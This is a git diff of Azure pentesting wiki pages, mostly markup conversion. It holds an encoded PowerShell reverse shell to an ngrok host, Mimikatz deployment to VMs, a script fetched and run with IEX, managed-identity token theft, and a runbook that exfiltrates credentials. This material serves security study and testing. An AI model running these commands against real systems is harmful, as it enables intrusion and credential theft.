 export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
 
-# The content of 
+# The content of
 echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
 
 
@@ -330,8 +314,9 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
 Import-module MicroBurst.psm1
 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### `Microsoft.Compute/virtualMachines/login/action`
 
@@ -351,7 +336,6 @@ All those are the necessary permissions to **create a VM with a specific managed
 
 Depending on the situation more or less permissions might be needed to abuse this technique.
 
-{% code overflow="wrap" %}
 ```bash
 az vm create \
   --resource-group Resource_Group_1 \
@@ -364,14 +348,12 @@ az vm create \
   --location "centralus"
 # By default pub key from ~/.ssh is used (if none, it's generated there)
 ```
-{% endcode %}
 
 ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
 
 Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
 Then, from the metadata service it's possible to generate tokens for each one.
 
-{% code overflow="wrap" %}
 ```bash
 # Get currently assigned managed identities to the VM
 az vm identity show \
@@ -386,27 +368,15 @@ az vm identity assign \
     /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
     /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
 ```
-{% endcode %}
 
 Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
+{{#endref}}
 
 ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
 
 According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image%20(1)%20(1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image%20(1)%20(1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image%20(2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image%20(2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md
new file mode 100644
index 000000000..26eacc74b
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/README.md
@@ -0,0 +1,73 @@
+# Az - Services
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Portals
+
+You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
+
+### Raw requests
+
+#### Azure API via Powershell
+
+Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
+
+Then query the Azure REST API to get the **subscription ID** and more .
+
+```powershell
+$Token = 'eyJ0eX..'
+$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
+# $URI = 'https://graph.microsoft.com/v1.0/applications'
+$RequestParams = @{
+ Method = 'GET'
+ Uri = $URI
+ Headers = @{
+ 'Authorization' = "Bearer $Token"
+ }
+}
+(Invoke-RestMethod @RequestParams).value
+
+# List resources and check for runCommand privileges
+$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
+$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
+```
+
+#### Azure API via Python Version
+
+```python
+IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
+IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
+
+print("[+] Management API")
+cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
+val = os.popen(cmd).read()
+print("Access Token: "+json.loads(val)["access_token"])
+print("ClientID/AccountID: "+json.loads(val)["client_id"])
+
+print("\r\n[+] Graph API")
+cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
+val = os.popen(cmd).read()
+print(json.loads(val)["access_token"])
+print("ClientID/AccountID: "+json.loads(val)["client_id"])
+```
+
+or inside a Python Function:
+
+```python
+import logging, os
+import azure.functions as func
+
+def main(req: func.HttpRequest) -> func.HttpResponse:
+    logging.info('Python HTTP trigger function processed a request.')
+    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
+    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
+    cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
+    val = os.popen(cmd).read()
+    return func.HttpResponse(val, status_code=200)
+```
+
+## List of Services
+
+**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md
new file mode 100644
index 000000000..3da5a42d2
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md
@@ -0,0 +1,52 @@
+# Az - ACR
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
+
+### Enumerate
+
+To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
+
+```bash
+# List Docker images inside the registry
+IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
+
+Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
+
+Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
+```
+
+{{#tabs }}
+{{#tab name="az cli" }}
+
+```bash
+az acr list --output table
+az acr show --name MyRegistry --resource-group MyResourceGroup
+```
+
+{{#endtab }}
+
+{{#tab name="Az Powershell" }}
+
+```powershell
+# List all ACRs in your subscription
+Get-AzContainerRegistry
+
+# Get a specific ACR
+Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
+```
+
+{{#endtab }}
+{{#endtabs }}
+
+Login & Pull from the registry
+
+```bash
+docker login <corp-name>.azurecr.io --username <username> --password <password>
+docker pull <corp-name>.azurecr.io/<image>:<tag>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md
similarity index 66%
rename from pentesting-cloud/azure-security/az-services/az-app-services.md
rename to src/pentesting-cloud/azure-security/az-services/az-app-service.md
index c8d1139dc..8bd86e5eb 100644
--- a/pentesting-cloud/azure-security/az-services/az-app-services.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md
@@ -1,19 +1,6 @@
 # Az - App Services
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## App Service Basic Information
 
@@ -21,12 +8,11 @@ Azure App Services enables developers to **build, deploy, and scale web applicat
 
 Each app runs inside a sandbox but isolation depends upon App Service plans
 
-* Apps in Free and Shared tiers run on shared VMs
-* Apps in Standard and Premium tiers run on dedicated VMs
+- Apps in Free and Shared tiers run on shared VMs
+- Apps in Standard and Premium tiers run on dedicated VMs
 
-{% hint style="warning" %}
-Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
-{% endhint %}
+> [!WARNING]
+> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
 
 ### Azure Function Apps
 
@@ -39,7 +25,7 @@ Actually some of the **security related features** App services use (`webapp` in
 When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
 Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
 
-* Authentication: az webapp auth show --name lol --resource-group lol\_group
+- Authentication: az webapp auth show --name lol --resource-group lol_group
 
 SSH
 
@@ -49,9 +35,9 @@ Debugging
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az" }}
+
 ```bash
 # List webapps
 az webapp list
@@ -82,7 +68,7 @@ az webapp config appsettings list --name <name> --resource-group <res-group>
 az webapp config backup list --webapp-name <name> --resource-group <res-group>
 
 # Get backups scheduled for a webapp
-az webapp config backup show --webapp-name <name> --resource-group <res-group>  
+az webapp config backup show --webapp-name <name> --resource-group <res-group>
 
 # Get snapshots
 az webapp config snapshot list --resource-group <res-group> -n <name>
@@ -105,7 +91,6 @@ az webapp config storage-account list --name <name> --resource-gl_group
 
 
 
-
 # List all the functions
 az functionapp list
 
@@ -125,7 +110,7 @@ az functionapp deployment source show \
 az functionapp config container show \
   --name <name> \
   --resource-group <res-group>
-  
+
 # Get settings (and privesc to the sorage account)
 az functionapp config appsettings list --name <app-name> --resource-group <res-group>
 
@@ -146,24 +131,26 @@ az rest --method GET \
 curl "<script_href>?code=<master-key>"
 ## Python example
 curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
-  
+
 # Get source code
 az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az Powershell" %}
+{{#endtab }}
+
+{{#tab name="Az Powershell" }}
+
 ```powershell
 # Get App Services and Function Apps
 Get-AzWebApp
 # Get only App Services
 Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
 ```
-{% endtab %}
 
-{% tab title="az get all" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="az get all" }}
+
 ```bash
 #!/bin/bash
 
@@ -192,9 +179,9 @@ echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
   fi
 done
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 #### Obtain credentials & get access to the webapp code
 
@@ -216,29 +203,12 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
 ## If you change the code and do a push, the app is automatically redeployed
 ```
 
-
-
-## Privilege Escalation
-
-{% content-ref url="../az-privilege-escalation/az-app-services-privesc.md" %}
-[az-app-services-privesc.md](../az-privilege-escalation/az-app-services-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-app-services-privesc.md
+{{#endref}}
 
 ## References
 
-* [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
+- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
new file mode 100644
index 000000000..9e40a66c8
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
@@ -0,0 +1,40 @@
+# Az - Application Proxy
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
+
+Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
+
+It works like this:
+
+<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
+
+1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
+2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
+3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
+4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
+5. The connector sends the request to the **on-premises application**.
+6. The **response** is sent through the connector and Application Proxy service **to the user**.
+
+## Enumeration
+
+```powershell
+# Enumerate applications with application proxy configured
+Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
+
+# Get applications service principal
+Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
+
+# Use the following ps1 script from https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/scripts/powershell-display-users-group-of-app
+# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
+Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
+```
+
+## References
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
new file mode 100644
index 000000000..7ee051d41
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
@@ -0,0 +1,31 @@
+# Az - ARM Templates / Deployments
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
+
+### History
+
+If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
+
+## Search Sensitive Info
+
+Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
+
+```powershell
+Get-AzResourceGroup
+Get-AzResourceGroupDeployment -ResourceGroupName <name>
+
+# Export
+Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
+cat <DEPLOYMENT NAME>.json # search for hardcoded password
+cat <PATH TO .json FILE> | Select-String password
+```
+
+## References
+
+- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
similarity index 66%
rename from pentesting-cloud/azure-security/az-services/az-automation-account/README.md
rename to src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
index 8f2797903..6d80d497f 100644
--- a/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
@@ -1,19 +1,6 @@
 # Az - Automation Account
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -26,9 +13,8 @@ These are like "**scheduled tasks**" in Azure that will let you execute things (
 When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
 Microsoft recommends using a **Managed Identity** for Automation Account.
 
-{% hint style="warning" %}
-This will be **removed on September 30, 2023 and changed for Managed Identities.**
-{% endhint %}
+> [!WARNING]
+> This will be **removed on September 30, 2023 and changed for Managed Identities.**
 
 ## Runbooks & Jobs
 
@@ -58,13 +44,12 @@ Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**
 
 It's possible to abuse SC to run arbitrary scripts in the managed machines.
 
-{% content-ref url="az-state-configuration-rce.md" %}
-[az-state-configuration-rce.md](az-state-configuration-rce.md)
-{% endcontent-ref %}
+{{#ref}}
+az-state-configuration-rce.md
+{{#endref}}
 
 ## Enumeration
 
-{% code overflow="wrap" %}
 ```powershell
 # Check user right for automation
 az extension add --upgrade -n automation
@@ -95,11 +80,9 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
 # List hybrid workers
 Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
 ```
-{% endcode %}
 
 ### Create a Runbook
 
-{% code overflow="wrap" %}
 ```powershell
 # Get the role of a user on the Automation account
 # Contributor or higher = Can create and execute Runbooks
@@ -114,11 +97,9 @@ Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <
 # Start the Runbook
 Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
 ```
-{% endcode %}
 
 ### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
 
-{% code overflow="wrap" %}
 ```powershell
 # Change the crdentials & variables names and add as many as you need
 @'
@@ -141,47 +122,45 @@ $start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $Au
 start-sleep 20
 ($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
 ```
-{% endcode %}
 
-{% hint style="info" %}
-You could do the same thing modifying an existing Run Book, and from the web console.
-{% endhint %}
+> [!NOTE]
+> You could do the same thing modifying an existing Run Book, and from the web console.
 
 ### Steps for Setting Up an Automated Highly Privileged User Creation
 
 #### 1. Initialize an Automation Account
 
-* **Action Required:** Create a new Automation Account.
-* **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
+- **Action Required:** Create a new Automation Account.
+- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
 
 #### 2. Import and Set Up Runbook
 
-* **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
-* **Actions Required:**
-  * Import the runbook into the Automation Account.
-  * Publish the runbook to make it executable.
-  * Attach a webhook to the runbook, enabling external triggers.
+- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
+- **Actions Required:**
+  - Import the runbook into the Automation Account.
+  - Publish the runbook to make it executable.
+  - Attach a webhook to the runbook, enabling external triggers.
 
 #### 3. Configure AzureAD Module
 
-* **Action Required:** Add the AzureAD module to the Automation Account.
-* **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
+- **Action Required:** Add the AzureAD module to the Automation Account.
+- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
 
 #### 4. Permission Assignment
 
-* **Roles to Assign:**
-  * User Administrator
-  * Subscription Owner
-* **Target:** Assign these roles to the Automation Account for necessary privileges.
+- **Roles to Assign:**
+  - User Administrator
+  - Subscription Owner
+- **Target:** Assign these roles to the Automation Account for necessary privileges.
 
 #### 5. Awareness of Potential Access Loss
 
-* **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
+- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
 
 #### 6. Trigger User Creation
 
-* Trigger the webhook to create a new user by sending a POST request.
-* Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
+- Trigger the webhook to create a new user by sending a POST request.
+- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
 
 ```powershell
 $uri = "<YOUR_WEBHOOK_URL>"
@@ -192,21 +171,8 @@ $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
-* [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
-* [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
+- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
+- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
+- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
new file mode 100644
